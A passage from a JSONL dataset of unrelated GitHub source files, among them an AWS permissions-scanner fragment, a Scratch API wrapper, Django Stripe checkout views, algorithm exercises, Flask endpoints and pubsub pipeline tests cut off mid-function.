policy_apply_result\n if policy_evaluations_result.result.target_resolver.is_empty():\n return policy_evaluations_result\n\n # for cross-account access, need to check that the identity in the trusted account has explicit allow to the resource in the trusting account\n if policy_evaluation.identity_principal.is_no_entity_principal():\n # identity is like AWS_SERVICE, no actual trusted account, just return the ret\n return policy_evaluations_result\n\n identity_principal_account_id: Optional[str] = identity_principal.get_account_id()\n if identity_principal_account_id == target_service_resource.get_resource_account_id():\n # not cross-account access but single account access\n return policy_evaluations_result\n\n # cross-account access checking\n policy_evaluations_result.result_cross_account = cls.run_target_policies_identity_based(\n logger=logger,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n identity_principal=identity_principal,\n target_identity_policies_ctx=principal_policies_ctx,\n service_resource_type=service_resource_type,\n service_resource=target_service_resource,\n principal_policies_ctx=principal_policies_ctx,\n during_cross_account_checking_flow=True,\n )\n\n # The final permissions for cross account, is the intersection between the two service resolvers (trusted & trusting accounts)\n service_resolvers: List[Optional[ServiceResourcesResolverBase]] = [\n policy_evaluations_result.result.target_resolver,\n policy_evaluations_result.result_cross_account.target_resolver,\n ]\n policy_evaluations_result.result.target_resolver = PolicyEvaluation._apply_intersection_on_service_resolvers(\n policy_evaluation.identity_principal, service_resolvers\n )\n return policy_evaluations_result\n","repo_name":"SatoriCyber/universal-data-permissions-scanner","sub_path":"universal_data_permissions_scanner/datastores/aws/aws_ptrp_package/aws_ptrp/policy_evaluation/policy_evaluation.py","file_name":"policy_evaluation.py","file_ext":"py","file_size_in_byte":18760,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"53"} +{"seq_id":"18082818847","text":"#### DATA ####\n\n# Modules\nimport requests, re\n\n# Variables and Lists\nresponse = ''\nresponseJSON = ''\n\nuserLink = ''\n\n#### API ####\ndef users(user, data):\n userLink = 'https://api.scratch.mit.edu/users/' + str(user)\n userLink2 = 'https://scratchdb.lefty.one/v3/user/info/' + str(user)\n\n response = requests.get(userLink)\n response2 = requests.get(userLink2)\n\n if response.status_code == 200:\n responseJSON = response.json()\n responseJSON2 = response2.json()\n\n responsePROFILE = responseJSON['profile']\n responseHISTORY = responseJSON['history']\n\n if data == 'userID':\n userID = responsePROFILE['id']\n return userID\n elif data == 'joinDate':\n userJoined = responseHISTORY['joined']\n userJoinedYear = str(userJoined[0] + userJoined[1] + userJoined[2] + userJoined[3])\n userJoinedMonth = str(userJoined[5] + userJoined[6])\n userJoinedDay = str(userJoined[8] + userJoined[9])\n return userJoinedYear + '-' + userJoinedMonth + '-' + userJoinedDay\n elif data == 'country':\n userCountry = responsePROFILE['country']\n return userCountry\n elif data == 'bio':\n bio = responsePROFILE['bio']\n return bio\n elif data == 'status':\n status = responsePROFILE['status']\n return status\n elif data == 'followerCount':\n userFollowers = responseJSON2['statistics']['followers']\n return userFollowers\n elif data == 'followingCount':\n userFollowing = responseJSON2['statistics']['following']\n return userFollowing\n elif data == 'scratchTeam':\n responseST = responseJSON['scratchteam']\n return responseST\n else:\n print('Unknown data for \"' + str(data) + '\". Please read the instructions in \"README.md\"')\n quit()\n else:\n print(str(response.status_code) + ' Error, could not connect to \"' + str(userLink) + '\"')\n quit()\n\ndef projects(id, data):\n projectLink = 'https://api.scratch.mit.edu/projects/' + id\n projectLink2 = 'https://scratchdb.lefty.one/v2/project/info/id/' + str(id)\n\n response = requests.get(projectLink)\n response2 = requests.get(projectLink2)\n\n if response.status_code == 200:\n responseJSON = response.json()\n responseJSON2 = response2.json()\n\n projectAuthorInfo = responseJSON['author']\n projectStats = responseJSON['stats']\n\n if data == 'projectName':\n project = responseJSON['title']\n return project\n elif data == 'author':\n projectAuthor = projectAuthorInfo['username']\n return projectAuthor\n elif data == 'views':\n projectViews = projectStats['views']\n return projectViews\n elif data == 'loves':\n projectLoves = projectStats['loves']\n return projectLoves\n elif data == 'favorites':\n projectFavorites = projectStats['favorites']\n return projectFavorites\n elif data == 'remixes':\n projectRemixes = projectStats['remixes']\n return projectRemixes\n elif data == 'instructions':\n projectInstructions = responseJSON['instructions']\n return projectInstructions\n elif data == 'notesAndCredits':\n projectNAC = responseJSON['description']\n return projectNAC\n elif data == 'commentCount':\n projectCommentCount = responseJSON2['statistics']['comments']\n return projectCommentCount\n elif data == 'commentsAllowed':\n projectCommentsAllowed = responseJSON2['comments_allowed']\n if projectCommentsAllowed == 1:\n projectCommentsAllowed = True\n elif projectCommentsAllowed == 0:\n projectCommentsAllowed = False\n return projectCommentsAllowed\n else:\n print('Unknown data for \"' + str(data) + '\". Please read the instructions in \"README.md\"')\n quit()\n else:\n print(str(response.status_code) + ' Error, could not connect to \"' + str(projectLink) + '\"')\n quit()","repo_name":"vrabb-gh/scratch_api---Python-Module","sub_path":"scratch_api.py","file_name":"scratch_api.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71099094889","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.contrib import messages\nfrom django.views.decorators.http import require_POST\n\nfrom products.models import Product\nfrom profiles.forms import UserProfileForm\nfrom profiles.models import UserProfile\nfrom .forms import OrderForm\nfrom bag.contexts import bag_content\nimport stripe\nfrom django.conf import settings\n\nfrom .models import Order, ProductOrder\nimport json\n\n\n@require_POST\ndef cache_checkout(request):\n try:\n pid = request.POST.get('client_secret').split('secret')[0]\n pid = pid[:-1]\n stripe.api_key = settings.STRIPE_SECRET_KEY\n save_info = request.POST.get('save_info')\n request.session['save_info'] = save_info\n stripe.PaymentIntent.modify(pid, metadata={\n 'bag': json.dumps(request.session.get('bag', {})),\n 'save_info': save_info,\n 'username': request.user,\n })\n return HttpResponse(status=200)\n except Exception as e:\n messages.error(request, 'Sorry we can not process your payment. Try later')\n return HttpResponse(content=e, status=400)\n\n\ndef checkout(request):\n stripe_public_key = settings.STRIPE_PUBLIC_KEY\n stripe_secret_key = settings.STRIPE_SECRET_KEY\n if request.method == 'POST':\n bag = request.session.get('bag', {})\n\n form_data = {\n 'full_name': request.POST.get('full_name'),\n 'email': request.POST.get('email'),\n 'phone_number': request.POST.get('phone_number'),\n 'country': request.POST.get('country'),\n 'city': request.POST.get('city'),\n 'address': request.POST.get('address'),\n 'postcode': request.POST.get('postcode'),\n }\n\n order_form = OrderForm(form_data)\n if order_form.is_valid():\n order = order_form.save(commit=False)\n pid = request.POST.get('client_secret').split('_secret')[0]\n # order.stripe_pid = pid[:-1]\n order.stripe_pid = pid\n order.original_bag = json.dumps(bag)\n order.save()\n for item_id, item_data in bag.items():\n try:\n product = Product.objects.get(id=item_id)\n if isinstance(item_data, int):\n order_line_item = ProductOrder(\n order=order,\n product=product,\n quantity=item_data,\n )\n order_line_item.save()\n except Product.DoesNotExist:\n messages.error(request, \"Sorry : Some product that you bought does not exist in our database\")\n order.delete()\n return redirect(reverse('view_bag'))\n\n # Get the save variable value\n # request.session['save_info'] = 'save-info' in request.POST\n request.session['save_info'] = request.POST.get('save_info')\n return redirect(reverse('checkout_success', args=[order.order_number]))\n\n else:\n messages.error(request, 'There was an error with your form. ' 'Please double check your information.')\n\n else:\n bag = request.session.get('bag', {})\n if not bag:\n messages.error(request, \"There is nothing in the bag at the moment\")\n return redirect(reverse('products'))\n\n current_bag = bag_content(request)\n total = current_bag['sum_total']\n stripe_total = round(total * 100)\n stripe.api_key = stripe_secret_key\n intent = stripe.PaymentIntent.create(\n amount=stripe_total,\n currency=settings.STRIPE_CURRENCY,\n )\n\n if request.user.is_authenticated:\n # profile = get_object_or_404(UserProfile, user=request.user)\n try:\n profile = UserProfile.objects.get(user=request.user)\n order_form = OrderForm(initial={\n 'full_name': profile.full_name_profile,\n 'email': profile.email_profile,\n 'phone_number': profile.phone_number_profile,\n 'country': profile.country_profile,\n 'postcode': profile.postcode_profile,\n 'address': profile.address_profile,\n 'city': profile.city_profile,\n })\n except UserProfile.DoesNotExist:\n order_form = OrderForm()\n else:\n order_form = OrderForm()\n\n template = 'checkout/checkout.html'\n context = {\n 'order_form': order_form,\n 'saved': request.session.get('save_info'),\n 'stripe_public_key': stripe_public_key,\n 'client_secret': intent.client_secret,\n }\n\n return render(request, template, context)\n\n\n# Fill UserProfile info\ndef checkout_success(request, order_number):\n \"\"\"A view to show the successful user payment\"\"\"\n save_info = request.session.get('save_info')\n order = get_object_or_404(Order, order_number=order_number)\n if request.user.is_authenticated:\n profile = UserProfile.objects.get(user=request.user)\n order.user_profile = profile\n order.save()\n # Save the info in the profile if it was checked in the checkout page\n if save_info:\n profile_data = {\n 'full_name_profile': order.full_name,\n 'email_profile': order.email,\n 'phone_number_profile': order.phone_number,\n 'country_profile': order.country,\n 'city_profile': order.city,\n 'address_profile': order.address,\n 'postcode_profile': order.postcode,\n }\n user_profile_form = UserProfileForm(profile_data, instance=profile)\n if user_profile_form.is_valid():\n user_profile_form.save()\n\n messages.success(request, f'Successful order: Your order {order_number} will be processed. A confirmation email '\n f'will be sent to {order.email}')\n\n if 'bag' in request.session:\n del request.session['bag']\n\n template = 'checkout/checkout_success.html'\n\n context = {\n 'order': order,\n }\n return render(request, template, context)\n","repo_name":"ArloysMacias/fitness4you","sub_path":"checkout/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"74502835047","text":"from typing import List\nclass Solution:\n def lengthOfLIS(self, nums: List[int]) -> int:\n # dp[i] = length of max subsequence that ends at position i (must include position i)\n # this restriction allows us to form links/edges btwn two numbers (a, b) only if a < b\n # otherwise, if at position i, we just keep track of max length up to i (but may not include it), and return dp[len(nums) - 1]\n # HOWEVER it becomes more complicated how to transition from one dp state i_t to another i_t+1\n # with dp[i], the longest chain is probably not ending at position i, since nums[i] could be a very small number\n # hence, we need to keep track of max_len observed so far for dp[i] from i = 0 to i = len(nums) - 1\n # this is O(N^2) due to double loop\n dp = [1 for _ in range(len(nums))]\n res = 0\n for i in range(len(nums)):\n for j in range(i):\n if nums[j] < nums[i]:\n dp[i] = max(dp[i], dp[j]+1)\n res = max(res, dp[i])\n return res","repo_name":"linminhtoo/algorithms","sub_path":"DP/medium/lengthOfLIS.py","file_name":"lengthOfLIS.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15648158985","text":"from collections import defaultdict\n\n\ndef sum_memory_old_chip(lines):\n mem = defaultdict(int)\n for line in lines:\n if 'mask' in line:\n and_mask = int(''.join(\n ['0' if ch == '0' else '1' for ch in line[7:]]\n ), 2)\n or_mask = int(''.join(\n ['1' if ch == '1' else '0' for ch in line[7:]]\n ), 2)\n else:\n split_line = line.split('] = ')\n location = int(split_line[0][4:])\n value = (int(split_line[1]) & and_mask) | or_mask\n mem[location] = value\n return sum(mem.values())\n\n\ndef sum_memory_new_chip(lines):\n mem = defaultdict(int)\n for line in lines:\n if 'mask' in line:\n x_mask = line[7:]\n bitlength = len([x for x in x_mask if x == 'X'])\n variations = [\"{0:0{len}b}\".format(i, len=bitlength)\n for i in range(2**bitlength)]\n else:\n split_line = line.split('] = ')\n location_bitstring = '{0:0{len}b}'.format(\n int(split_line[0][4:]),\n len=len(x_mask)\n )\n value = int(split_line[1])\n\n for variation in variations:\n location_variation = list(location_bitstring)\n counter = 0\n for i in range(len(x_mask)):\n if x_mask[i] == 'X':\n location_variation[i] = variation[counter]\n counter += 1\n elif x_mask[i] == '1':\n location_variation[i] = '1'\n mem[''.join(location_variation)] = value\n return sum(mem.values())\n\n\nwith open('day14/input.data') as input:\n lines = [line for line in input.read().split('\\n')]\n\nprint(f'first solution: {sum_memory_old_chip(lines)}')\nprint(f'second solution: {sum_memory_new_chip(lines)}')\n","repo_name":"DanielElisenberg/aoc2020","sub_path":"day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"36193453738","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nBACK = [1, 1, 1, 1]\nFRONT = [0, 0, 0, 0.001]\n\ndef main():\n from fn import Fn\n from modules.differentialLattice import DifferentialLattice\n from modules.helpers import get_colors\n from modules.helpers import spawn_circle\n from numpy import array\n from numpy import cumsum\n from numpy import sqrt\n from numpy import linspace\n from numpy import sort\n from numpy import ones\n from numpy.random import random\n from numpy.random import seed\n from sand import Sand\n from numpy import pi\n from numpy import sin\n from numpy import cos\n TWOPI = pi*2.0\n\n\n fn = Fn(prefix='./res/')\n\n size = 512\n one = 1.0/size\n\n threads = 512\n zone_leap = 512\n grains = 20\n\n\n init_num = 20\n\n stp = one*0.03\n spring_stp = 5\n reject_stp = 0.1\n cohesion_stp = 1.0\n\n max_capacity = 30\n\n\n node_rad = 4*one\n spring_reject_rad = node_rad*1.9\n spring_attract_rad = node_rad*2.0\n outer_influence_rad = 10.0*node_rad\n link_ignore_rad = 0.5*outer_influence_rad\n\n colors = get_colors('../colors/black_t.gif')\n # colors = get_colors('../colors/ir.jpg')\n nc = len(colors)\n\n sand = Sand(size)\n sand.set_bg(BACK)\n sand.set_rgba(FRONT)\n\n DL = DifferentialLattice(\n size,\n stp,\n spring_stp,\n reject_stp,\n cohesion_stp,\n max_capacity,\n node_rad,\n spring_reject_rad,\n spring_attract_rad,\n outer_influence_rad,\n link_ignore_rad,\n threads=threads,\n zone_leap=zone_leap,\n nmax=50000000\n )\n\n spawn_circle(DL, init_num, xy=array([[0.5, 0.5]]), dst=node_rad*0.8, rad=0.01)\n\n itt = 0\n while True:\n\n itt += 1\n DL.step()\n DL.spawn(ratio=0.1, age=1000)\n\n if not itt%20:\n print(('itt', DL.itt, 'num', DL.num))\n\n vertices, edges = DL.link_export()\n\n # sand.set_rgba(FRONT)\n # sand.paint_strokes(\n # vertices[edges[:,0],:].astype('double'),\n # vertices[edges[:,1],:].astype('double'),\n # grains\n # )\n\n # sand.paint_circles(\n # vertices.astype('double'),\n # random(len(vertices))*one*4.0,\n # grains\n # )\n\n # for k,(a,b) in enumerate(edges):\n # w = a*nc+b\n # rgba = colors[w%nc]+[0.001]\n # sand.set_rgba(rgba)\n # sand.paint_strokes(\n # vertices[a:a+1,:].astype('double'),\n # vertices[b:b+1,:].astype('double'),\n # grains\n # )\n\n\n n = 20\n for k, (x, y) in enumerate(vertices):\n rgba = colors[k%nc]+[0.0005]\n sand.set_rgba(rgba)\n o = ones((n, 2), 'float')\n o[:,0] *= x\n o[:,1] *= y\n r = (1.0-2.0*random(n))*4*one\n sand.paint_filled_circles(\n o,\n r,\n grains\n )\n\n if not itt%5:\n\n # vertices, edges = DL.link_export()\n # n = 1000\n # sand.set_bg(BACK)\n # seed(1)\n # for k, (x, y) in enumerate(vertices):\n # rgba = colors[k%nc]+[0.005]\n # sand.set_rgba(rgba)\n # o = ones((n, 2), 'float')\n # o[:,0] *= x\n # o[:,1] *= y\n # r = random()*one*3+cumsum(random(n)*random()*10)*one*0.002\n # # r = sqrt(linspace(2.0, 10.0, n))*one\n # # r = ones(n, 'float')*one*\n # sand.paint_circles(\n # o,\n # r,\n # grains\n # )\n\n name = fn.name() + '.png'\n print(name)\n sand.write_to_png(name, 2)\n\n\nif __name__ == '__main__':\n\n main()\n\n","repo_name":"inconvergent/differential-lattice","sub_path":"main_sand.py","file_name":"main_sand.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"53"} +{"seq_id":"3799359967","text":"import re\nfrom enum import Enum\nfrom decimal import Decimal, ROUND_DOWN, ROUND_UP\nfrom datetime import date\nfrom datetime import date\nimport calendar\n\n# product: calculate_price_customer is inside in a class.It is inside an object\n#they are depending also on how the class object is depicted\n#\n\nclass Rating(Enum):\n FIRST_TIME = \"First time\"\n REGULAR = \"Regular\"\n SUPER_DUPER = \"Super-duper\"\n\n def __str__(self):\n return self.name\n\n\nclass Customer:\n def __init__(self, name: str, rating: Rating):\n if not isinstance(name, str):\n raise ValueError(f\"Customer name must be a string.\")\n if len(name) == 0:\n raise ValueError(f\"Customer name must be non-empty.\")\n if not isinstance(rating, Rating):\n raise ValueError(f\"Customer rating must be of type Rating, but is of type {type(rating)}.\")\n\n self.name = name\n self.rating = rating\n\n def __str__(self):\n return f\"{self.name} ({self.rating})\"\n\n def create_customer_list(*customers):\n return list(customers)\n\n def print_customers(customers):\n for customer in customers:\n print(f\"Name: {customer.name}, Rating: {customer.rating}\")\n\n\nclass Product:\n _EAN_PATTERN = re.compile(r\"^\\d{13}$\")\n\n def __init__(self, ean: str, name: str, description: str, base_price: Decimal, base_discount=Decimal(0)):\n if not Product._EAN_PATTERN.match(ean):\n raise ValueError(f\"Given ean {ean} is not valid. An ean has exactly 13 digits.\")\n if not isinstance(name, str):\n raise ValueError(f\"Product name must be a string.\")\n if len(name) == 0:\n raise ValueError(f\"Product name must be non-empty.\")\n if not (isinstance(description, str) or description is None):\n raise ValueError(f\"Product description must be a string or None, but is '{description}'\")\n if not isinstance(base_price, Decimal):\n raise ValueError(f\"Product base price must be of type Decimal.\")\n if not base_price >= 0:\n raise ValueError(f\"Product base price must be greater or equal to zero.\")\n if not isinstance(base_discount, Decimal):\n raise ValueError(f\"Product discount must be of type Decimal.\")\n if base_discount < 0 or base_discount > 1:\n raise ValueError(f\"Product discount must be between 0 and 1.\")\n\n self.ean = ean\n self.name = name\n self.description = description\n self.base_price = base_price\n self.base_discount = base_discount\n\n\n\n def calculate_price_for_customer(self, customer: Customer, date_of_purchase: date) -> Decimal:\n # Define the discounts\n discount_mapping = {\n Rating.FIRST_TIME: Decimal('0.05'),\n Rating.REGULAR: Decimal('0.10'),\n Rating.SUPER_DUPER: Decimal('0.15'),\n }\n\n # Always apply base discount\n if self.base_discount>0:\n price_after_base_discount = self.base_price * (1 - self.base_discount)\n else:\n price_after_base_discount = self.base_price\n\n # Check if the date is in the special summer sale period\n if date_of_purchase.year == 2024 and date_of_purchase.month in [7, 8]:\n # Get the customer discount\n discount = discount_mapping[customer.rating]\n\n # Check if the date is Friday or Saturday, if so double the discount\n if date_of_purchase.weekday() in [4, 5]: # 4 and 5 corresponds to Friday and Saturday\n discount *= 2 # double the discount\n\n # Apply the customer discount on top of the already discounted price\n price_after_additional_discount = price_after_base_discount * (1 - discount)\n else:\n # If outside the sale period, only base discount applies\n price_after_additional_discount = price_after_base_discount\n\n # Round the price to 3 decimal places\n rounded_price = price_after_additional_discount.quantize(Decimal('0.000'), rounding=ROUND_UP)\n\n return rounded_price\n\n\n\n\n\n\n\n","repo_name":"Szilvi489/SummerFun_Abgabe_SzilviaVarga","sub_path":"SummerFun/SummerFun/summer_fun.py","file_name":"summer_fun.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"20955997087","text":"from src import router\nfrom src.li.Li import Li\nfrom src.videosource.VideoSource import SourceType\n\n\nclass VideoSortLi(Li):\n def __init__(self, url, title, icon=None, thumb=None, contextMenus=None):\n \n \n \n isFolder = False\n isPlayable = False\n \n generalInfoLabels = None\n videoInfoLabels = None\n \n \n super(VideoSortLi, self).__init__(title, icon, thumb, url, isFolder, isPlayable,\n videoInfoLabels, generalInfoLabels, contextMenus)\n \n \ndef collectionVideoSortLi(collection):\n url = router.sortVideolistUrl()\n title, icon, thumb = collection.feedSettings.TS.sortVisuals()\n \n \n if collection.default:\n contextMenus = (\n collection.settingsContextMenu(globalC=True),\n )\n \n else:\n contextMenus = (\n collection.settingsContextMenu(),\n collection.settingsContextMenu(globalC=True)\n )\n \n return VideoSortLi(url, title, icon, thumb, contextMenus)\n\n\ndef youtubeVideoSortLi(title):\n url = router.sortVideolistUrl(SourceType.CHANNEL)\n return VideoSortLi(url, title)\n\ndef kodiVideoSortLi(title):\n url = router.sortVideolistUrl(SourceType.FOLDER)\n return VideoSortLi(url, title)","repo_name":"SportySpice/Collections","sub_path":"src/li/types/VideoSortLi.py","file_name":"VideoSortLi.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"53"} +{"seq_id":"38729819762","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n Score every utterance of every data item in a given folder\n\"\"\"\n\n\nimport sys\nimport argparse\nimport os\n\nfrom ostilhou.utils import list_files_with_extension\nfrom ostilhou.text import pre_process, filter_out, normalize_sentence, PUNCTUATION\nfrom ostilhou.asr import load_segments_data, load_text_data\nfrom ostilhou.asr.recognizer import transcribe_segment\nfrom ostilhou.audio import load_audiofile, get_segment\nfrom jiwer import wer, cer\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Score every utterance of every data item in a given folder\")\n parser.add_argument(\"data_folder\", metavar='FOLDER', help=\"Folder containing data files\")\n parser.add_argument(\"-u\", \"--per-utterance\", help=\"Calculate WER and CER score per utterance\", action=\"store_true\")\n # parser.add_argument(\"-he\", \"--higher\", help=\"Keeps only over a given CER\", default=1.0)\n args = parser.parse_args()\n\n all_references = []\n all_hypothesis = []\n\n # print(args.data_folder)\n split_files = list_files_with_extension('.split', args.data_folder)\n for split_file in sorted(split_files):\n basename, _ = os.path.splitext(split_file)\n wav_file = basename + os.path.extsep + \"wav\"\n text_file = basename + os.path.extsep + \"txt\"\n segments, _ = load_segments_data(split_file)\n utterances = load_text_data(text_file)\n song = load_audiofile(wav_file)\n _, basename = os.path.split(basename)\n references = []\n hypothesis = []\n # print(\"# ==== \" + basename + \" ====\")\n for i in range(len(segments)):\n # sentence, _ = get_cleaned_sentence(utterances[i][0])\n sentence = filter_out(utterances[i][0], PUNCTUATION + '*')\n sentence = normalize_sentence(sentence, autocorrect=True)\n sentence = pre_process(sentence).replace('-', ' ').lower()\n transcription = transcribe_segment(get_segment(i, song, segments))\n transcription = transcription.replace('-', ' ').lower()\n references.append(sentence)\n hypothesis.append(transcription)\n if not args.per_utterance:\n continue\n score_wer = wer(sentence, transcription)\n score_cer = cer(sentence, transcription)\n if not transcription:\n transcription = '-'\n #if score_cer >= 0.2 or score_wer > 0.4:\n # if score_cer >= 1.0:\n print(f\"{basename}.{i:03}\\t{round(score_wer, 2)}\\t{round(score_cer, 2)}\\t{sentence}\\t{transcription}\")\n all_references.extend(references)\n all_hypothesis.extend(hypothesis)\n\n print(\"====== OVERALL ======\", file=sys.stderr)\n print(len(all_references), \"utterances\", file=sys.stderr)\n print(\"WER:\", wer(all_references, all_hypothesis), file=sys.stderr)\n print(\"CER:\", cer(all_references, all_hypothesis), file=sys.stderr)\n","repo_name":"gweltou/ostilhou","sub_path":"score_utterances.py","file_name":"score_utterances.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"8755391798","text":"\"\"\"\n UNIVERSIDAD SERGIO ARBOLEDA\n\n Nombre: Emmanuel Mora Mosquera\n\n Correo: emmanuel.mora01@correo.usa.edu.co\n\n Docente: Jonh Jairo Corredor\n\n Fecha: 14 de mayo del 2021\n\n Ciudad: Bogotá D.C.\n\n SIMULADOR DE ORBITAS PLANETARIAS\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\nimport simulator\nimport Cy_simulator\nimport time\nimport sys\n\n\ndef call_simulator(simulator):\n AU = (149.6e6 * 1000)\n sun = simulator.Body()\n sun.name = 'Sun'\n sun.mass = 1.98892 * 10**30\n\n earth = simulator.Body()\n earth.name = 'Earth'\n earth.mass = 5.9742 * 10**24\n earth.px = -1 * AU\n earth.vy = 29.783 * 1000\n\n venus = simulator.Body()\n venus.name = 'Venus'\n venus.mass = 4.8685 * 10**24\n venus.px = 0.723 * AU\n venus.vy = -35.02 * 1000\n\n simulator.loop([sun, earth, venus])\n\n\ndef main():\n start = time.time()\n call_simulator(simulator)\n tiempoPy = time.time() - start\n\n start = time.time()\n call_simulator(Cy_simulator)\n tiempoCy = time.time() - start\n\n speedUp = round(tiempoPy/tiempoCy, 3)\n print(f\"Python: {tiempoPy} \\n\")\n print(f\"Cython: {tiempoCy} \\n\")\n print(f\"SpeedUp: {speedUp} \\n\")\n return tiempoPy, tiempoCy\n\t\n\t\t\n\n\nif __name__ == '__main__':\n tiempoPy, tiempoCy = main()\n tiempos = [tiempoPy,tiempoCy]\n etiquetas = ['Python','Cython']\n fig, ax = plt.subplots() \n ax.set_ylabel(\"Tiempo\")\n plt.bar(etiquetas, tiempos, width=0.3, color=[\"blue\", \"purple\"], align='center')\n plt.savefig('graficaTiempos.png')\n plt.grid()\n plt.show()\n","repo_name":"Hobbit3415/SimuladorOrbitasPlanetarias","sub_path":"Orbitas Planetarias/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41275786297","text":"import json\nimport boto3\n\n\ndef lambda_handler(event, context):\n dynamodb = boto3.resource('dynamodb')\n tableDistance = dynamodb.Table('Distance')\n # if event['invocationSource'] == 'FulfillmentCodeHook':\n source = event['currentIntent']['slots']['source']\n destination = event['currentIntent']['slots']['destination']\n\n result = tableDistance.get_item(Key={'source': source, 'destination': destination})\n distance = result['Item']['distance']\n\n return {\n 'sessionAttributes': event['sessionAttributes'],\n 'dialogAction': {\n 'type': 'Close',\n 'fulfillmentState': 'Fulfilled',\n 'message': {\n 'contentType': 'PlainText',\n 'content': str(distance)\n }\n }\n }\n# this is can return the log to lex bot to check otherwise use cloudwatch\n# return {\n# \"dialogAction\": {\n# \"type\": \"Close\",\n# \"fulfillmentState\": \"Fulfilled\",\n# \"message\": {\n# \"contentType\": \"SSML\",\n# \"content\": str(event)\n# },\n# }\n# }\n","repo_name":"qqin99/Cloud_Computing","sub_path":"MP3-AWS Lex and Lambda/MP3-getDistanceLambda.py","file_name":"MP3-getDistanceLambda.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72104818089","text":"from . import app,mysql\nfrom flask import render_template, request, jsonify\nimport os\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\n\n\n#get info\n@app.route('/info', methods=['GET'])\ndef get_info():\n con = mysql.connection.cursor()\n con.execute(\"SELECT * FROM sejarah_desa\")\n sejarah = con.fetchall()\n print(sejarah)\n info_list = []\n for sistem in sejarah:\n print(sistem)\n list_data = {\n 'id': str(sistem[0]),\n 'sejarah': str(sistem[1]),\n 'visi': str(sistem[2]),\n 'misi': str(sistem[3])\n }\n info_list.append(list_data)\n return jsonify(info_list)\n\n#tambah info\n\n@app.route('/tambah_info', methods=['POST'], endpoint='tambah_info_endpoint')\n# @jwt_required\ndef tambah_info():\n con = mysql.connection.cursor()\n sejarah = request.form['sejarah']\n visi = request.form['visi']\n misi = request.form['misi']\n con.execute(\"INSERT INTO sejarah (sejarah , visi, misi) VALUES (%s,%s,%s)\",(sejarah , visi, misi))\n mysql.connection.commit()\n return jsonify(\"msg : SUKSES\")\n\n\n#edit info data\n@app.route('/edit_info', methods=['POST'], endpoint='edit_info_endpoint')\n# @jwt_required\ndef edit_info():\n current_user_id = get_jwt_identity()\n con = mysql.connection.cursor()\n id = request.form['id']\n sejarah = request.form['sejarah']\n visi = request.form['visi']\n \n misi = request.form['misi']\n con.execute(\"UPDATE sejarah_desa SET sejarah = %s, visi = %s, misi = %s WHERE id = %s\",(sejarah,visi,misi,id))\n mysql.connection.commit()\n return jsonify(\"msg : SUKSES\")\n\n#get fasilitas\n@app.route('/fasilitas', methods=['GET'])\ndef get_fasilitas():\n con = mysql.connection.cursor()\n con.execute(\"SELECT * FROM fasilitas\")\n sejarah = con.fetchall()\n info_list = []\n for sistem in sejarah:\n list_data = {\n 'id': str(sistem[0]),\n 'fasilitas': str(sistem[1]),\n 'kondisi': str(sistem[2])\n }\n info_list.append(list_data)\n return jsonify(info_list)\n\n\n","repo_name":"rizky-phb/sistemdesa","sub_path":"app/infodesa.py","file_name":"infodesa.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40933462388","text":"import json\nfrom unittest.mock import MagicMock, DEFAULT\n\nimport pytest\nfrom google.api_core.exceptions import DeadlineExceeded\n\nfrom pubsub_pipeline import PubSubPipeline, BulkPubSubPipeline\n\n\ndef _mock_future(on_add_done_callback=None):\n mock_future_ = MagicMock()\n # python mock magic: when side_effect is a callable,\n # it will be called with the same arguments as the\n # mock function\n if on_add_done_callback is not None:\n mock_future_.add_done_callback.side_effect = on_add_done_callback\n return mock_future_\n\n\ndef _mock_publisher(on_publish=None):\n publisher = MagicMock()\n publisher.topic_path.return_value = 'some/topic/path'\n if on_publish is not None:\n publisher.publish.side_effect = on_publish\n return publisher\n\n\ndef _message_data():\n return {\n \"data\": \"This is some json data that is to processed\",\n \"nested\": {\n \"nestedData\": \"This is just some more data\"\n }\n }\n\n\ndef processor(_):\n return _\n\n\ndef _mock_message():\n mock_message = MagicMock()\n mock_message.message.data = json.dumps(_message_data()).encode()\n mock_message.ack_id = 'some_ack_id'\n return mock_message\n\n\ndef _mock_subscriber(received_messages=(_mock_message(),)):\n subscriber = MagicMock()\n subscriber.subscription_path.return_value = 'some/subscription/path'\n subscriber.pull.return_value.received_messages = list(received_messages)\n return subscriber\n\n\n@pytest.mark.parametrize('pipeline', [PubSubPipeline, BulkPubSubPipeline])\ndef test_message_is_acknowledged_on_successful_publish(pipeline):\n def 